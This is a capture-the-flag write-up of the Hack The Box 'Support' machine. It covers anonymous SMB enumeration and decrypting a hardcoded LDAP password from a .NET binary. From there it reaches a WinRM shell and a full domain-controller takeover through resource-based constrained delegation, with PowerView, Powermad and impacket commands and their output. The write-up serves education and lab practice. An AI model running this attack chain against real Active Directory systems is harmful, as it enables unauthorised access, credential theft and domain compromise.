We scan the machine using nmap and find that SMB and LDAP are running. We are able to list SMB shares and download all the files from the support-tools share without providing credentials. One of the files downloaded is a ZIP file containing a .Net executable called UserInfo.exe. We decompile the program with AvaloniaILSpy (which is a port of ILSpy to Linux/MacOS) and find an encrypted password. The encryption is basic and the decryption logic is already present in the code, so the password is easy to decrypt. We continue looking at the code and find an LDAP connection is made through a user called ldap and the decrypted password.

Using ldapsearch, we dump the LDAP user data and find the password for the support user in its info field. We connect using evil-winrm and get the user.txt flag.

Now that we have a shell, we scan the machine using SharpHound and BloodHound. We figure out that the SHARED SUPPORT ACCOUNTS@SUPPORT.HTB group has the GenericAll permission on DC.SUPPORT.HTB and our user, support is part of that group.

Searching for ways to exploit the GenericAll permission finds Kerberos Resource-based Constrained Delegation: Computer Object Takeover. Following the guide, we 1) create a fake computer object (no admin required) and 2) update the target computer object to enable the fake computer to impersonate and authenticate any domain user that can then access the target system. The second step is possible because we have the WRITE privilege (from GenericAll) on the target machine. Instead of following the guide to create the ticket (it uses a Window-only tool), we use impacket's This gives us a Kerberos ticket with the ability to impersonate the Administrator user. Finally, we use with the ticket to get an interactive shell on the box as Administrator and get the root.txt flag.



First, let's scan for open ports using nmap. We can quickly scan for open ports and store them in a variable: ports=$(nmap -Pn -p- --min-rate=1000 -T4 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running nmap's built-in scripts: nmap -Pn -p$ports -sC -sV We need to use -Pn with this box since it is blocking nmap's ping probes.

53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-08-01 22:42:32Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49699/tcp open  msrpc         Microsoft Windows RPC
55397/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2022-08-01T22:43:23
|_  start_date: N/A
|_clock-skew: -1s
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required

SMB (Ports 139 & 445)

Ports 139 and 445 are open so it looks like SMB is running.

We can try listing the shares (-L) without specifying a password (-N).

$ smbclient -N -L \\\\\\

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        support-tools   Disk      support staff tools
        SYSVOL          Disk      Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

support-tools is interesting. Let's try to view the files from that share using an interactive shell:

$ smbclient -N \\\\\\support-tools
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jul 20 13:01:06 2022
  ..                                  D        0  Sat May 28 07:18:25 2022
  7-ZipPortable_21.07.paf.exe         A  2880728  Sat May 28 07:19:19 2022          A  5439245  Sat May 28 07:19:55 2022
  putty.exe                           A  1273576  Sat May 28 07:20:06 2022               A 48102161  Sat May 28 07:19:31 2022                    A   277499  Wed Jul 20 13:01:07 2022
  windirstat1_1_2_setup.exe           A    79171  Sat May 28 07:20:17 2022
  WiresharkPortable64_3.6.5.paf.exe      A 44398000  Sat May 28 07:19:43 2022

                4026367 blocks of size 4096. 883139 blocks available

It's a directory of different programs. We can download all these files to the current directory by running the following commands from this HackTricks page:

smb: \> mask ""
smb: \> recurse
smb: \> prompt
smb: \> mget *
getting file \7-ZipPortable_21.07.paf.exe of size 2880728 as 7-ZipPortable_21.07.paf.exe (3565.5 KiloBytes/sec) (average 3565.5 KiloBytes/sec)
getting file \ of size 5439245 as (4408.1 KiloBytes/sec) (average 4074.7 KiloBytes/sec)
getting file \putty.exe of size 1273576 as putty.exe (2477.5 KiloBytes/sec) (average 3753.5 KiloBytes/sec)
getting file \ of size 48102161 as (2816.2 KiloBytes/sec) (average 2938.2 KiloBytes/sec)
getting file \ of size 277499 as (909.4 KiloBytes/sec) (average 2907.2 KiloBytes/sec)
getting file \windirstat1_1_2_setup.exe of size 79171 as windirstat1_1_2_setup.exe (613.6 KiloBytes/sec) (average 2892.4 KiloBytes/sec)
getting file \WiresharkPortable64_3.6.5.paf.exe of size 44398000 as WiresharkPortable64_3.6.5.paf.exe (2326.0 KiloBytes/sec) (average 2616.3 KiloBytes/sec)

Alternatively, you can download one file by running get

Decompiling UserInfo.exe

Everything except looks like a normal program. When unzipping we see the following files:

-rw-r--r-- 1 kali kali  99840 Mar  1 13:18 CommandLineParser.dll
-rw-r--r-- 1 kali kali  22144 Oct 22  2021 Microsoft.Bcl.AsyncInterfaces.dll
-rw-r--r-- 1 kali kali  47216 Oct 22  2021 Microsoft.Extensions.DependencyInjection.Abstractions.dll
-rw-r--r-- 1 kali kali  84608 Oct 22  2021 Microsoft.Extensions.DependencyInjection.dll
-rw-r--r-- 1 kali kali  64112 Oct 22  2021 Microsoft.Extensions.Logging.Abstractions.dll
-rw-r--r-- 1 kali kali  20856 Feb 19  2020 System.Buffers.dll
-rw-r--r-- 1 kali kali 141184 Feb 19  2020 System.Memory.dll
-rw-r--r-- 1 kali kali 115856 May 15  2018 System.Numerics.Vectors.dll
-rw-r--r-- 1 kali kali  18024 Oct 22  2021 System.Runtime.CompilerServices.Unsafe.dll
-rw-r--r-- 1 kali kali  25984 Feb 19  2020 System.Threading.Tasks.Extensions.dll
-rwxr-xr-x 1 kali kali  12288 May 27 13:51 UserInfo.exe
-rw-r--r-- 1 kali kali    563 May 27 12:59 UserInfo.exe.config

Running file UserInfo.exe tells us that this is a PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows. I am familiar with reversing using Ghidra, but it is not the right tool to reverse .Net binaries. Searching for ".net debugger" finds dnSpy, but the repository is archived and hasn't been updated for about 2 years. I also find ILSpy which seems to be more regularly updated. This article from ndepend compares the available decompilers. I'm going to use ILSpy since the article calls it "the de-facto .NET Decompiler." ILSpy only supports Windows, but it has been ported to Linux in the form of AvaloniaILSpy. Download the latest release from the releases page and run it with ./ILSpy.

We open the UserInfo.exe binary in ILSpy and quite quickly we find the UserInfo.Services.Protected class, which contains and encrypted password and a method to decrypt it already written for us:

UserInfo.Services.Protected class (in text form):

using System;
using System.Text;

internal class Protected
    private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";

    private static byte[] key = Encoding.ASCII.GetBytes("armando");

    public static string getPassword()
        byte[] array = Convert.FromBase64String(enc_password);
        byte[] array2 = array;
        for (int i = 0; i < array.Length; i++)
            array2[i] = (byte)((uint)(array[i] ^ key[i % key.Length]) ^ 0xDFu);
        return Encoding.Default.GetString(array2);

Let's quickly write this in Python (since that is faster than getting C# code running):

import base64
enc_password = b"0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key = b"armando"
ken_len = len(key)

password_list = base64.b64decode(enc_password)
password = [chr(pass_char ^ key[idx % ken_len] ^ 223) for idx, pass_char in enumerate(password_list)]


This prints out nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz.

Additionally, in ILSpy, we see a class called UserInfo.Services.LdapQuery.

After looking at it, we see that the constructor contains a username (ldap) and uses the decoded password to connect to LDAP on the machine.

public LdapQuery()
    //IL_0018: Unknown result type (might be due to invalid IL or missing references)
    //IL_0022: Expected O, but got Unknown
    //IL_0035: Unknown result type (might be due to invalid IL or missing references)
    //IL_003f: Expected O, but got Unknown
    string password = Protected.getPassword();
    entry = new DirectoryEntry("LDAP://support.htb", "support\\ldap", password);
    ds = new DirectorySearcher(entry);


From the nmap scan and the UserInfo.exe, we see that LDAP is present. LDAP runs on ports 389, 636, 3268, and 3269. According to Wikipedia, "The Lightweight Directory Access Protocol is an open, vendor-neutral, industry standard application protocol for accessing and maintaining distributed directory information services over an Internet Protocol network."

According to HackTricks, we can make sure our credentials work by trying to extract everything from the LDAP server by running ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>". Here are what the options in this command mean:

-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given

For our situation, this command is ldapsearch -x -H ldap:// -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb". This outputs 5824 lines of output. So, we captured it all into ldap_dump.txt.

We can get only information about users by adding CN=Users to the command like so (command from HackTricks): ldapsearch -x -H ldap:// -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "CN=Users,DC=support,DC=htb". Tip: Pipe the output of that command to xclip -selection clipboard to copy it to your clipboard automatically. Output is located at ldap_users.txt. After looking through this file, we see the support user has the info field set to Ironside47pleasure40Watchful, which is weird.


The piece of information we found is the support user's password. WinRM runs on port 5985, which is open. We can connect using evil-winrm by running evil-winrm -u support -p Ironside47pleasure40Watchful -i, which works.

Now, just run cat C:\Users\support\Desktop\user.txt to get the user.txt flag.

Privilege Escalation

Let's scan the machine using BloodHound: "BloodHound is a single page Javascript web application, built on top of Linkurious, compiled with Electron, with a Neo4j database fed by a C# data collector. BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory or Azure environment. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify."

BloodHound only analyzes data though. We need to use SharpHound (download) to collect data. There are other data collectors but SharpHound is the only officially support collector.

Upload SharpHound.exe and run it:

*Evil-WinRM* PS C:\Users\support\Documents> .\SharpHound.exe
2022-08-01T16:59:37.8577528-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2022-08-01T16:59:37.8577528-07:00|INFORMATION|Initializing SharpHound at 4:59 PM on 8/1/2022
2022-08-01T16:59:38.1702551-07:00|INFORMATION|Flags: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2022-08-01T16:59:38.3421370-07:00|INFORMATION|Beginning LDAP search for support.htb
2022-08-01T16:59:38.4046350-07:00|INFORMATION|Producer has finished, closing LDAP channel
2022-08-01T16:59:38.4046350-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2022-08-01T17:00:08.4455283-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 36 MB RAM
2022-08-01T17:00:20.7485323-07:00|INFORMATION|Consumers finished, closing output channel
Closing writers
2022-08-01T17:00:20.7797405-07:00|INFORMATION|Output channel closed, waiting for output task to complete
2022-08-01T17:00:20.9047428-07:00|INFORMATION|Status: 109 objects finished (+109 2.595238)/s -- Using 42 MB RAM
2022-08-01T17:00:20.9047428-07:00|INFORMATION|Enumeration finished in 00:00:42.5649012
2022-08-01T17:00:21.0141259-07:00|INFORMATION|SharpHound Enumeration Completed at 5:00 PM on 8/1/2022! Happy Graphing!

To get BloodHound setup, you can follow this guide. Then, just download the zip file ( from the machine and drag and drop it onto the BloodHound interface. Then, on the Analysis tab, choose "Shortest Paths to High Value Targets":

Right click the DC.SUPPORT.HTB machine and choose "Shortest Paths to Here":

The SHARED SUPPORT ACCOUNTS@SUPPORT.HTB group has the GenericAll permission on DC.SUPPORT.HTB. If we right click that group, we will see that the support user we have access to is a member of the group. So, we have the GenericAll permission.

Searching for "genericall active directory" finds this page, which explains that "if you have GenericAll/GenericWrite/Write on a Computer object, you can pull Kerberos Resource-based Constrained Delegation: Computer Object Takeover off.

We need the following PowerShell modules to follow the guide: PowerView.ps1 (GitHub repo) and Powermad.ps1 (GitHub repo). Download them and then upload them to the box using evil-winrm's upload command. Load them by running the following commands:

import-module .\Powermad.ps1
import-module .\PowerView.ps1

The first step is to create a new computer object for our fake computer, FAKE01. This is the computer that will be trusted by our target computer later on.

New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose


Verbose: [+] Domain Controller =
Verbose: [+] Domain = support.htb
Verbose: [+] SAMAccountName = FAKE01$
Verbose: [+] Distinguished Name = CN=FAKE01,CN=Computers,DC=support,DC=htb
[+] Machine account FAKE01 added

Get the newly created computer SID with Get-DomainComputer fake01:

pwdlastset             : 8/1/2022 5:45:17 PM
logoncount             : 0
badpasswordtime        : 12/31/1600 4:00:00 PM
distinguishedname      : CN=FAKE01,CN=Computers,DC=support,DC=htb
objectclass            : {top, person, organizationalPerson, user...}
name                   : FAKE01
objectsid              : S-1-5-21-1677581083-3380853377-188903654-5601
samaccountname         : FAKE01$
localpolicyflags       : 0
codepage               : 0
samaccounttype         : MACHINE_ACCOUNT
accountexpires         : NEVER
countrycode            : 0
whenchanged            : 8/2/2022 12:45:17 AM
instancetype           : 4
usncreated             : 86213
objectguid             : e47a18ce-3de8-435a-9f5e-a8e65cf5addd
lastlogon              : 12/31/1600 4:00:00 PM
lastlogoff             : 12/31/1600 4:00:00 PM
objectcategory         : CN=Computer,CN=Schema,CN=Configuration,DC=support,DC=htb
dscorepropagationdata  : 1/1/1601 12:00:00 AM
serviceprincipalname   : {RestrictedKrbHost/FAKE01, HOST/FAKE01, RestrictedKrbHost/, HOST/}
ms-ds-creatorsid       : {1, 5, 0, 0...}
badpwdcount            : 0
cn                     : FAKE01
useraccountcontrol     : WORKSTATION_TRUST_ACCOUNT
whencreated            : 8/2/2022 12:45:17 AM
primarygroupid         : 515
iscriticalsystemobject : False
usnchanged             : 86215
dnshostname            :

The SID is S-1-5-21-1677581083-3380853377-188903654-5601.

Next, create a new raw security descriptor for the FAKE01 computer principal:

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1677581083-3380853377-188903654-5601)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

After that, apply the security descriptor bytes to the target machine by running Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose:

Verbose: [Get-DomainSearcher] search base: LDAP://DC=support,DC=htb
Verbose: [Get-DomainObject] Extracted domain 'support.htb' from 'CN=DC,OU=Domain Controllers,DC=support,DC=htb'
Verbose: [Get-DomainSearcher] search base: LDAP://DC=support,DC=htb
Verbose: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=DC,OU=Domain Controllers,DC=support,DC=htb)))
Verbose: [Set-DomainObject] Setting 'msds-allowedtoactonbehalfofotheridentity' to '1 0 4 128 20 0 0 0 0 0 0 0 0 0 0 0 36 0 0 0 1 2 0 0 0 0 0 5 32 0 0 0 32 2 0 0 2 0 44 0 1 0 0 0 0 0 36 0 255 1 15 0 1 5 0 0 0 0 0 5 21 0 0 0 27 219 253 99 129 186 131 201 230 112 66 11 225 21 0 0' for object 'DC$'

To get a Kerberos ticket, the guide uses Rubeus, which only runs on Windows and seems difficult to set up. Searching for "impacket get kerberos ticket to impersonate user" finds impacket's

$ support.htb/fake01:123456 -dc-ip -impersonate Administrator -spn www/
Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache

Now we have the Kerberos ticket. Looking at the tools available in impacket shows " A semi-interactive shell, used through Windows Management Instrumentation. It does not require to install any service/agent at the target server. Runs as Administrator. Highly stealthy." It also has an option to use a Kerberos ticket through the KRB5CCNAME environment variable. It looks like is popular and would work as well.

So, let's run the following to get a shell:

export KRB5CCNAME=Administrator.ccache -k -no-pass support.htb/

Initially, I got the error [-] [Errno Connection error (] [Errno -3] Temporary failure in name resolution. So, I added and support.htb to the /etc/hosts file. After that, the command worked!

$ -k -no-pass support.htb/
Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands

C:\>type C:\Users\Administrator\Desktop\root.txt

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